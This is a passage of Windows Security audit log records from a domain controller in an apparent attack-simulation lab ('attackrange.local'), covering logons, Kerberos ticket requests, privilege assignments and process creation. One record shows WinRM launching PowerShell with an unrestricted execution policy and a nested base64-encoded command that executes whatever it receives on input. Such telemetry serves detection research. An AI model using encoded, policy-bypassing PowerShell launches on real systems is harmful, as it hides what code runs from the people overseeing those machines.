- -Process Information: - New Process ID: 0x1098 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13c4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251237 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CF09 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251236 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CF09 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251235 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251234 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251233 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251232 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CCB9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1118 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13c4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251231 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CCB9 - -Process Information: - New Process ID: 0x13c4 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251230 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CCB9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251229 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CCB9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251228 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251227 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251226 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251225 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CAD5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251224 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251223 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12CC60 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251222 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12CC60 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64512 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251221 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12CC60 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251220 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12CBFF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251219 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12CBFF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64511 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251218 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12CBFF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251217 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12CB99 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251216 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12CB99 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64510 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local 